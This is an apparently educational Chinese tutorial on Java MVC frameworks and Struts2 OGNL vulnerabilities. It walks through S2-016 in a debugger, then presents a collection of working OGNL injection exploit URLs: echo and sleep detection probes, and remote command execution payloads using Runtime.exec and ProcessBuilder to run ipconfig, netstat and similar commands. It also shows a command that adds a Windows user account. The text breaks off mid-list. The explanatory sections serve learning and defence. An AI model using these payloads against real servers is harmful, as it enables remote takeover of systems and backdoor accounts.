傳統的開發存在結構混亂易用性差耦合度高可維護性差等多種問題,為了解決這些毛病分層思想和MVC框架就出現了。MVC是三個單詞的縮寫,分別為: 模型(Model),視圖(View) 和控制(Controller)。 MVC模式的目的就是實現Web系統的職能分工。
Model層實現系統中的業務邏輯,通常可以用JavaBean或EJB來實現。
View*層用于與用戶的交互,通常用JSP來實現(前面有講到,JavaWeb項目中如果不采用JSP作為展現層完全可以沒有任何JSP文件,甚至是過濾一切JSP請求,JEECMS是一個最為典型的案例)。
Controller層是Model與View之間溝通的橋梁,它可以分派用戶的請求并選擇恰當的視圖用于顯示,同時它也可以解釋用戶的輸入并將它們映射為模型層可執行的操作。
Model1主要是用JSP去處理來自客戶端的請求,所有的業務邏輯都在一個或者多個JSP頁面里面完成,這種是最不科學的。舉例:http://localhost/show_user.jsp?id=2。JSP頁面獲取到參數id=2就會帶到數據庫去查詢數據庫當中id等于 2的用戶數據,由于這樣的實現方式雖然簡單,但是維護成本就非常高。JSP頁面跟邏輯業務都捆綁在一起高耦合了。而軟件開發的目標就是為了去解耦,讓程序之間的依賴性減小。在model1里面SQL注入等攻擊簡直就是家常便飯。因為在頁面里面頻繁的去處理各種業務會非常麻煩,更別說關注安全了。典型的Model1的代碼就是之前用于演示的SQL注入的JSP頁面。
Model 2表示的是基于MVC模式的框架,JSP+Servlet。Model2已經帶有一定的分層思想了,即Jsp只做簡單的展現層,Servlet做后端的業務邏輯處理。這樣視圖和業務邏輯就相應的分開了。例如:http://localhost/ShowUserServlet?id=2。也就是說把請求交給Servlet處理,Servlet處理完成后再交給jsp或HTML做頁面展示。JSP頁面就不必要去關心你傳入的id=2是怎么查詢出來的,而是怎么樣去顯示id=2的用戶的信息(多是用EL表達式或JSP腳本做頁面展現)。視圖和邏輯分開的好處是可以更加清晰的去處理業務邏輯,這樣的出現安全問題的幾率會相對降低。
當Model1和Model2都難以滿足開發需求的時候,通用性的MVC框架也就產生了,模型視圖控制器,各司其責程序結構一目了然,業務安全相關控制井井有序,這便是MVC框架給我們帶來的好處,但是不幸的是由于MVC的框架的實現各自不同,某些東西因為其越來越強大,而衍生出來越來越多的安全問題,典型的由于安全問題處理不當造成近期無數互聯網站被黑闊攻擊的MVC框架便是Struts2。神器過于鋒利傷到自己也就在所難免了。而在Struts和Spring當中最喜歡被人用來挖0day的就是標簽和OGNL的安全處理問題了。
Spring 框架提供了構建 Web應用程序的全功能 MVC 模塊。使用 Spring 可插入的 MVC 架構,可以選擇是使用內置的 Spring Web 框架還是 Struts 這樣的 Web 框架。通過策略接口,Spring 框架是高度可配置的,而且包含多種視圖技術,例如 JavaServer Pages(JSP)技術、Velocity、Tiles、iText 和 POI、Freemarker。Spring MVC 框架并不知道使用的視圖,所以不會強迫您只使用 JSP 技術。Spring MVC 分離了控制器、模型對象、分派器以及處理程序對象的角色,這種分離讓它們更容易進行定制。
Struts是apache基金會jakarta項目組的一個開源項目,采用MVC模式,能夠很好的幫助我們提高開發web項目的效率。Struts主要采用了servlet和jsp技術來實現,把servlet、jsp、標簽庫等技術整合到整個框架中。Struts2比Struts1內部實現更加復雜,但是使用起來更加簡單,功能更加強大。
Struts2歷史版本下載地址:http://archive.apache.org/dist/struts/binaries/
官方網站是: http://struts.apache.org/
按性能排序:1、Jsp+servlet>2、struts1>2、spring mvc>3、struts2+freemarker>>4、struts2,ognl,值棧。
開發效率上,基本正好相反。值得強調的是,Spring mvc開發效率和Struts2不相上下。
Struts2的性能低的原因是因為OGNL和值棧造成的。所以如果你的系統并發量高,可以使用freemaker進行顯示,而不是采用OGNL和值棧。這樣,在性能上會有相當大得提高。
而每一次Struts2的遠程代碼執行的原因都是因為OGNL。
當前JavaWeb當中最為流行的MVC框架主要有Spring MVC和Struts。相比Struts2而言,SpringMVC具有更輕巧,更簡易,更安全等優點。但是由于SpringMVC歷史遠沒有Struts那么悠久,SpringMVC想要在一朝一夕顛覆Struts1、2還是非常有困難的。
可以說JavaWeb和PHP的實現有著本質的區別,PHP屬于解釋性語言.不需要在服務器啟動的時候就通過一堆的配置去初始化apps而是在任意一個請求到達以后再去加載配置完成來自客戶端的請求。ASP和PHP有個非常大的共同點就是不需要預先編譯成類似Java的字節碼文件,所有的類方法都存在于*.PHP文件當中。而在Java里面可以在項目啟動時去加載配置到Servlet容器內。在web.xml里面配置一個Servlet或者Filter后可以非常輕松的攔截、過濾來自于客戶端的任意后綴請求。在系列2的時候就有提到Servlet,這里再重溫一下。
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>org.javaweb.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/servlet/LoginServlet.action</url-pattern>
</servlet-mapping>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Filter在JavaWeb當中用來做權限控制再合適不過了,再也不用在每個頁面都去做session驗證了。假如過濾的url-pattern是/admin/*那么所有URI中帶有admin的請求都必須經過如下Filter過濾:
Servlet和Filter一樣都可以攔截所有的URL的任意方式的請求。其中url-pattern可以是任意的URL也可以是諸如*.action通配符。既然能攔截任意請求如若要做參數和請求的凈化就會非常簡單了。servlet-name即標注一個Servlet名為LoginServlet它對應的Servlet所在的類是org.javaweb.servlet.LoginServlet.java。由此即可發散開來,比如如何在Java里面實現通用的惡意請求(通用的SQL注入、XSS、CSRF、Struts2等攻擊)?敏感頁面越權訪問?(傳統的動態腳本的方式實現是在每個頁面都去加session驗證非常繁瑣,有了filter過濾器,便可以非常輕松的去限制目錄權限)。
上面貼出來的過濾器是Struts2的典型配置,StrutsPrepareAndExecuteFilter過濾了/*,即任意的URL請求也就是Struts2的第一個請求入口。任何一個Filter都必須去實現javax.servlet.Filter的Filter接口,即init、doFilter、destroy這三個接口,這里就不細講了,有興趣的朋友自己下載JavaEE6的源碼包看下。
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter ( ServletRequest request, ServletResponse response, FilterChain chain ) throws IOException, ServletException;
public void destroy();
TIPS:
在Eclipse里面看一個接口有哪些實現,選中一個方法快捷鍵Ctrl+t就會列舉出當前接口的所有實現了。例如下圖我們可以輕易的看到當前項目下實現Filter接口的有如下接口,其中SecFilter是我自行實現的,StrutsPrepareAndExecuteFilter是Struts2實現的,這個實現是用于Struts2啟動和初始化的,下面會講到:
Struts1、Struts2、Webwork關系:
Struts1是第一個廣泛流行的mvc框架,使用及其廣泛。但是,隨著技術的發展,尤其是JSF、ajax等技術的興起,Struts1有點跟不上時代的步伐,以及他自己在設計上的一些硬傷,阻礙了他的發展。
同時,大量新的mvc框架漸漸大踏步發展,尤其是webwork。Webwork是opensymphony組織開發的。Webwork實現了更加優美的設計,更加強大而易用的功能。
后來,struts和webwork兩大社區決定合并兩個項目,完成struts2.事實上,struts2是以webwork為核心開發的,更加類似于webwork框架,跟struts1相差甚遠。
1. 客戶端發送請求的tomcat服務器。服務器接受,將HttpServletRequest傳進來。
2. 請求經過一系列過濾器(如:ActionContextCleanUp、SimeMesh等)
3. FilterDispatcher被調用。FilterDispatcher調用ActionMapper來決定這個請求是否要調用某個Action
4. ActionMapper決定調用某個ActionFilterDispatcher把請求交給ActionProxy
5. ActionProxy通過Configuration Manager查看struts.xml,從而找到相應的Action類
6. ActionProxy創建一個ActionInvocation對象
7. ActionInvocation對象回調Action的execute方法
8. Action執行完畢后,ActionInvocation根據返回的字符串,找到對應的result。然后將Result內容通過HttpServletResponse返回給服務器。
1.用戶發送請求給服務器。url:user.do
2.服務器收到請求。發現DispatchServlet可以處理。于是調用DispatchServlet。
3.DispatchServlet內部,通過HandleMapping檢查這個url有沒有對應的Controller。如果有,則調用Controller。
4.Controller開始執行。
5.Controller執行完畢后,如果返回字符串,則ViewResolver將字符串轉化成相應的視圖對象;如果返回ModelAndView對象,該對象本身就包含了視圖對象信息。
6.DispatchServlet將執視圖對象中的數據,輸出給服務器。
7.服務器將數據輸出給客戶端。
在看完Struts2和SpringMVC的初始化方式之后不知道有沒有對MVC架構更加清晰的了解。
1、服務器啟動的時候會自動去加載當前項目的web.xml
2、在加載web.xml配置的時候會去自動初始化Struts2的Filter,然后把所有的請求先交于Struts的org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java類去做過濾處理。
3、而這個類只是一個普通的Filter方法通過調用Struts的各個配置去初始化。
4、初始化完成后一旦有action請求都會經過StrutsPrepareAndExecuteFilter的doFilter過濾。
5、doFilter中的ActionMapping去映射對應的Action。
6、ExecuteOperations
源碼、配置和訪問截圖:
在學習Struts命令執行之前必須得知道什么是OGNL、ActionContext、ValueStack。在前面已經強調過很多次容器的概念了。這地方不敢再扯遠了,不然就再也扯回不來了。大概理解:tomcat之類的是個大箱子,里面裝了很多小箱子,小箱子里面裝了很多小東西。而Struts2其實就是在把很多東西進行包裝,要取小東西的時候直接從struts2包裝好的箱子里面去拿就行了。
Struts1的Action必須依賴于web容器,他的extecute方法會自動獲得HttpServletRequest、HttpServletResponse對象,從而可以跟web容器進行交互。
Struts2的Action不用依賴于web容器,本身只是一個普通的java類而已。但是在web開發中我們往往需要獲得request、session、application等對象。這時候,可以通過ActionContext來處理。
ActionContext正如其名,是Action執行的上下文。他內部有個map屬性,它存放了Action執行時需要用到的對象。
在每次執行Action之前都會創建新的ActionContext對象,通過ActionContext獲取的session、request、application并不是真正的HttpServletRequest、HttpServletResponse、ServletContext對象,而是將這三個對象里面的值重新包裝成了map對象。這樣的封裝,我們及獲取了我們需要的值,同時避免了跟Web容器直接打交道,實現了完全的解耦。
測試代碼:
public class TestActionContextAction extends ActionSupport{
private String uname;
public String execute() throws Exception {
ActionContext ac = ActionContext.getContext();
System.out.println(ac); //在此處定義斷點
return this.SUCCESS;
}
//get和set方法省略!
}
我們設置斷點,debug進去,跟蹤ac對象的值。發現他有個table屬性,該屬性內部包含一個map屬性,該map中又有多個map屬性,他們分別是:
request、session、application、action、attr、parameters等。
同時,我們跟蹤request進去,發現屬性attribute又是一個table,再進去發現一個名字叫做”struts.valueStack”屬性。內容如下:
OgnlValueStack可以簡單看做List,里面還放了Action對象的引用,通過它可以得到該Action對象的引用。
下圖說明了幾個對象的關系:
1.? ActionContext、Action本身和HttpServletRequest對象沒有關系。但是為了能夠使用EL表達式、JSTL直接操作他們的屬性。會有一個攔截器將ActionContext、Action中的屬性通過類似request.setAttribute()方法置入request中(webwork2.1之前的做法)。這樣,我們也可以通過:${requestScope.uname}即可訪問到ActionContext和Action中的屬性。
Action的實例,總是放到value stack中。因為Action放在stack中,而stack是root(根對象),所以對Action中的屬性的訪問就可以省略#標記。
在上面我GETSHELL或者是輸出回顯的時候就必須獲取到容器中的請求和響應對象。而在Struts2中通過ActionContext可以獲得session、request、application,但他們并不是真正的HttpServletRequest、HttpServletResponse、ServletContext對象,而是將這三個對象里面的值重新包裝成了map對象。 Struts框架通過他們來和真正的web容器對象交互。
獲得session:ac.getSession().put("s", "ss");
獲得request:Map m = ac.get("request");
獲得application: ac.getApplication();
獲取HttpServletRequest、HttpServletResponse、ServletContext:
有時,我們需要真正的HttpServletRequest、HttpServletResponse、ServletContext對象,怎么辦? 我們可以通過ServletActionContext類來得到相關對象,代碼如下:
HttpServletRequest req = ServletActionContext.*getRequest*();
ServletActionContext.*getRequest*().getSession();
ServletActionContext.*getServletContext*();
OGNL全稱是Object-Graph? Navigation? Language(對象圖形導航語言),Ognl同時也是Struts2默認的表達式語言。每一次Struts2的命令執行漏洞都是通過OGNL去執行的。在寫這文檔之前,烏云的drops已有可夠參考的Ognl文章了http://drops.wooyun.org/papers/340。這里只是簡單提下。
1、能夠訪問對象的普通方法
2、能夠訪問類的靜態屬性和靜態方法
3、強大的操作集合類對象的能力
4、支持賦值操作和表達式串聯
5、訪問OGNL上下文和ActionContext
Ognl并不是Struts專用,我們一樣可以在普通的類里面一樣可以使用Ognl,比如用Ognl去訪問一個普通對象中的屬性:
在上面已經列舉出了Ognl可以調用靜態方法,比如表達式使用表達式去調用runtime執行命令執行:
@[email protected]().exec('net user selina 123 /add')
而在Java當中靜態調用命令行的方式:
java.lang.Runtime.*getRuntime*().exec("net user selina 123 /add");
Struts2究竟是個什么玩意,漏洞爆得跟來大姨媽紊亂似的,連續不斷。前面已經提到了由于Struts2默認使用的是OGNL表達式,而OGNL表達式有著訪問對象的普通方法和靜態方法的能力。開發者無視安全問題大量的使用Ognl表達式這正是導致Struts2漏洞源源不斷的根本原因。通過上面的DEMO應該差不多知道了Ognl執行方式,而Struts2的每一個命令執行后面都堅挺著一個或多個可以繞過補丁或是直接構造了一個可執行的Ognl表達式語句。
Struts2每次發版后都會release要么是安全問題,要么就是BUG修改。大的版本發布過一下幾個。
1.3.x/????????????????? 2013-02-02 17:59??? -?? ? 2.0.x/????????????????? 2013-02-02 11:22??? -?? ? 2.1.x/????????????????? 2013-03-02 14:52??? -?? ? 2.2.x/????????????????? 2013-02-02 16:00??? -?? ? 2.3.x/????????????????? 2013-06-24 11:30??? -?? ?
小版本發布了不計其數,具體的小版本下載地址:http://archive.apache.org/dist/struts/binaries/
1、Remote code exploit on form validation error: http://struts.apache.org/release/2.3.x/docs/s2-001.html
2、Cross site scripting (XSS) vulnerability on
3、XWork ParameterInterceptors bypass allows OGNL statement execution: http://struts.apache.org/release/2.3.x/docs/s2-003.html
4、Directory traversal vulnerability while serving static content: http://struts.apache.org/release/2.3.x/docs/s2-004.html
5、XWork ParameterInterceptors bypass allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-005.html
6、Multiple Cross-Site Scripting (XSS) in XWork generated error pages: http://struts.apache.org/release/2.3.x/docs/s2-006.html
7、User input is evaluated as an OGNL expression when there's a conversion error: http://struts.apache.org/release/2.3.x/docs/s2-007.html
8、Multiple critical vulnerabilities in Struts2: http://struts.apache.org/release/2.3.x/docs/s2-008.html 9、ParameterInterceptor vulnerability allows remote command execution http://struts.apache.org/release/2.3.x/docs/s2-009.html
10、When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes: http://struts.apache.org/release/2.3.x/docs/s2-010.html
11、Long request parameter names might significantly promote the effectiveness of DOS attacks: http://struts.apache.org/release/2.3.x/docs/s2-011.html
12、Showcase app vulnerability allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-012.html
13、A vulnerability, present in the?includeParams?attribute of the?URL?and?Anchor?Tag, allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-013.html
14、A vulnerability introduced by forcing parameter inclusion in the?URL?and?Anchor?Tag allows remote command execution, session access and manipulation and XSS attacks: http://struts.apache.org/release/2.3.x/docs/s2-014.html
15、A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.: http://struts.apache.org/release/2.3.x/docs/s2-015.html
16、A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-016.html
18:A vulnerability introduced by manipulating parameters prefixed with "redirect:"/"redirectAction:" allows for open redirects: http://struts.apache.org/release/2.3.x/docs/s2-017.html
S2-001-S2-004:http://www.inbreak.net/archives/161
S2-005:http://www.venustech.com.cn/NewsInfo/124/2802.Html
S2-006:http://www.venustech.com.cn/NewsInfo/124/10155.Html
S2-007:http://www.inbreak.net/archives/363
S2-008:http://www.exploit-db.com/exploits/18329/
http://www.inbreak.net/archives/481
S2-009:http://www.venustech.com.cn/NewsInfo/124/12466.Html
S2-010:http://xforce.iss.net/xforce/xfdb/78182
S2-011-S2-015:http://blog.csdn.net/wangyi_lin/article/details/9273903 http://www.inbreak.net/archives/487 http://www.inbreak.net/archives/507
S2-016-S2-017:http://www.iteye.com/news/28053#comments
從來沒有見過一個框架如此多的漏洞一個連官方修補沒怎么用心的框架既有如此多的擁護者。大學和很多的培訓機構都把SSH(Spring、Struts2、Hibernate)奉為JavaEE缺一不可的神話。在政府和大型企業中使用JavaWeb的項目中SSH架構體現的更是無處不在。剛開始找工作的出去面試基本上都問:SSH會嗎?我們只招本科畢業精通SSH框架的。“?什么?Struts2不會?啥?還不是本科學歷?很遺憾,我們公司更希望跟研究過SSH代碼精通Struts MVC、Spring AOP DI OIC和Hibernate的人合作,您先回去等通知吧…… ”。多么標準的面試失敗的結束語,我只想說:我去年買了個表!
在Struts2如此“權威”、“專制”統治下終于有一個比Struts2更輕盈、更精巧、更安全的框架開始逐漸的威脅著Struts神一樣的地位,It’s SpringMvc。
關于Struts2的漏洞分析網上已經鋪天蓋地了,因為一直做SpringMvc開發對Struts2并是怎么關注。不過有了上面的鋪墊,分析下Struts2的邏輯并不難。這次就簡單的跟一下S2-016的命令執行吧。
F5:進入方法
F6:單步執行
F7:從當前方法中跳出,繼續往下執行。
F8:跳到下一個斷點。
其他:F3:進入方法內、Ctrl+alt+h查看當前方法在哪些地方有調用到。
這里還得從上面的Struts2的Filter說起,忘記了的回頭看上面的:Struts2請求處理流程分析。
在Struts2項目啟動的時候就也會去調用Ognl做初始化,啟動后一切的Struts2的請求都會先經過Struts2的StrutsPrepareAndExecuteFilter過濾器(在早期的Struts里默認的是FilterDispatcher)。并從其doFilter開始處理具體的請求,完成Action映射和請求分發。
在Debug之前需要有Struts2的OGNL、Xwork還有Struts的代碼。其中的xwork和Struts2的源代碼可以在Struts2\struts-2.3.14\src下找到。
Ognl的源碼在opensymphony的官方網站可以直接下載到。需要安裝SVN客戶端checkout下源碼。
http://code.google.com/p/opensymphony-ognl-backup/source/checkout
關聯上源代碼后可以在web.xml里面找到StrutsPrepareAndExecuteFilter哪行配置,直接Ctrl+左鍵點進去(或者直接在StrutsPrepareAndExecuteFilter上按F3快速進入到這個類里面去)。在StrutsPrepareAndExecuteFilter的77行行標處雙擊下就可以斷點了。
至于在Eclipse里面怎么去關聯源代碼就不多說了,按照eclipse提示找到源代碼所在的路徑就行了,實在不懂就百度一下。一個正常的Action請求一般情況下是不會報錯的。如:http://localhost/StrutsDemo/test.action請求處理成功。在這樣正常的請求中Ognl表達式找的是location。而注入Ognl表達式之后:
doFilter的前面幾行代碼在做初始化,而第84行就開始映射action了。而最新的S2-016就是因為不當的處理action映射導致OGNL注入執行任意代碼的。F5進入PrepareOperations的findActionMapping方法。在findActionMapping里面會去調用先去獲取一個容器然后再去映射具體的action。通過Dispatcher對象(org.apache.struts2.dispatcher)去獲取Container。通過ActionMapper的實現類:org.apache.struts2.dispatcher.mapper.DefaultActionMapper調用getMapping方法,獲取mapping。
在311行的handleSpecialParameters(request, mapping);F5進入方法執行內部,這個方法在DefaultActionMapper類里邊。
從請求當中獲取我們提交的惡意Ognl代碼:
handleSpecialParameters方法調用parameterAction.execute(key, mapping);:
F5進入parameterAction.execute:
執行完成之后的mapping可以看到lication已經注入了我們的Ognl表達式了:
當mapping映射完成后,會回到DefaultActionMapper調用上面處理后的mapping解析ActionName。
return parseActionName(mapping)
這里拿到的name自然是test了。因為我們訪問的只是test.action。不過在Struts2里面還可以用test!show.action即調用test內的show方法。
parseNameAndNamespace(uri, mapping, configManager);
handleSpecialParameters(request, mapping);
return parseActionName(mapping);
parseActionName執行完成后回到之前的findActionMapping方法。然后把我們的mapping放到請求作用域里邊,而mapping對應的鍵是:struts.actionMapping。此便完成了ActionMapping。那么StrutsPrepareAndExecuteFilter類的doFilter過濾器中的84行的ActionMapping也就完成了。
并不是說action映射完成后就已經執行了Ognl表達式了,而是在StrutsPrepareAndExecuteFilter類第91行的execute.executeAction(request, response, mapping);執行完成后才會去執行我們的Ognl。
executeAction 在org.apache.struts2.dispatcher.ng的ExecuteOperations類。這個方法如下:
/**
* Executes an action
* @throws ServletException
*/
public void executeAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping) throws ServletException {
dispatcher.serviceAction(request, response, servletContext, mapping);
}
Dispatcher應該是再熟悉不過了,因為剛才已經在dispatcher里面轉悠了一圈回來。現在調用的是dispatcher的 serviceAction方法。
public void serviceAction
(參數在上面executeAction太長了就不寫了):
Excute在excuteorg.apache.struts2.dispatcher.ServletRedirectResult
類,具體方法如下:
public void execute(ActionInvocation invocation) throws Exception {
if (anchor != null) {
anchor = conditionalParse(anchor, invocation);
}
super.execute(invocation);
}
super.execute(org.apache.struts2.dispatcher.StrutsResultSupport)
即執行其父類的execute方法。上面的anchor為空。
重點就在translateVariables(翻譯變量的時候把我們的Ognl執行了):
Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
return conv.convertValue(stack.getContext(), result, asType);
最終執行:
F8放過頁面輸出[/ok]:
在S2-016出來之后Struts2以前的POC拿著也沒什么用了,因為S2-016的威力已經大到讓百度、企鵝、京東叫喚了。挑幾個簡單的具有代表性的講下。在連續不斷的看了這么多坑爹的概念以后不妨見識一下Struts2的常用POC。
回顯POC(快速檢測是否存在(有的s2版本無法輸出),看見輸出[/ok]就表示存在):
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))
POC2(類型轉換漏洞需要把POC加在整型參數上):
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@[email protected]().getWriter().println(%22[/ok]%22))%2b'
POC3(需要注意這里也必須是加載一個String(字符串類型)的參數后面,使用的時候把URL里面的兩個foo替換成目標參數(注意POC里面還有個foo)):
http://127.0.0.1/Struts2/hello.action?foo=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@[email protected]().getWriter().println(%22[/ok]%22))&z[(foo)('meh')]=true
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}
POC6:
http://127.0.0.1/Struts2/$%7B%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getResponse().getWriter(),%23resp.println(%22[ok]%22),%23resp.close()%7D.action
POC7:
http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}
@[email protected]().getWriter().println(%22[/ok]%22)其實是靜態調用ServletActionContext上面已經講過了ServletActionContext能夠拿到真正的HttpServletRequest、HttpServletResponse、ServletContext忘記了的回頭看去。拿到一個HttpServletResponse響應對象后就可以調用getWriter方法(返回的是PrintWriter)讓Servlet容器上輸出[/ok]了,而其他的POC也都做了同樣的事:拿到HttpServletResponse,然后輸出[/ok]。其中的allowStaticMethodAccess在Struts2里面默認是false,也就是默認不允許靜態方法調用。
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(([email protected]@sleep(5000)')(d))
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@[email protected](5000))%2b'
POC3:
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@[email protected](5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c[email protected](5000))(aa)&x[(class.classLoader.jarPath)('aa')]
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@[email protected](5000)}
POC6:
http://127.0.0.1/Struts2/${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@[email protected](5000)}.action
之前很多的利用工具都是讓線程睡一段時間再去計算時間差來判斷漏洞是否存在。這樣比之前的回顯更靠譜,缺點就是慢。而實現這個POC的方法同樣是非常的簡單其實就是靜態調用java.lang.Thread.sleep(5000)就行了。而命令執行原理也是一樣的。
關于回顯:webStr\75new\40byte[100] 修改為合適的長度。
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(h)(('\43webRootzpro\[email protected]@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3:
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
POC4:
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
POC6:
http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
其實在Java里面要去執行一個命令的方式都是一樣的,簡單的靜態調用方式
java.lang.Runtime.getRuntime().exec("net user selina 123 /add");
就可以執行任意命令了。Exec執行后返回的類型是java.lang.Process。Process是一個抽象類,final class ProcessImpl extends Process
也是Process的具體實現。而命令執行后返回的Process可以通過
public OutputStream getOutputStream()
public InputStream getInputStream()
直接輸入輸出流,拿到InputStream之后直接讀取就能夠獲取到命令執行的結果了。而在Ognl里面不能夠用正常的方式去讀取流,而多是用DataInputStream的readFully或BufferedReader的read方法全部讀取或者按byte讀取的。因為可能會讀取到半個中文字符,所以可能會存在亂碼問題,自定義每次要讀取的大小就可以了。POC當中的/c 不是必須的,執行dir之類的命令可以加上。
Process java.lang.Runtime.exec(String command) throws IOException
poc1:
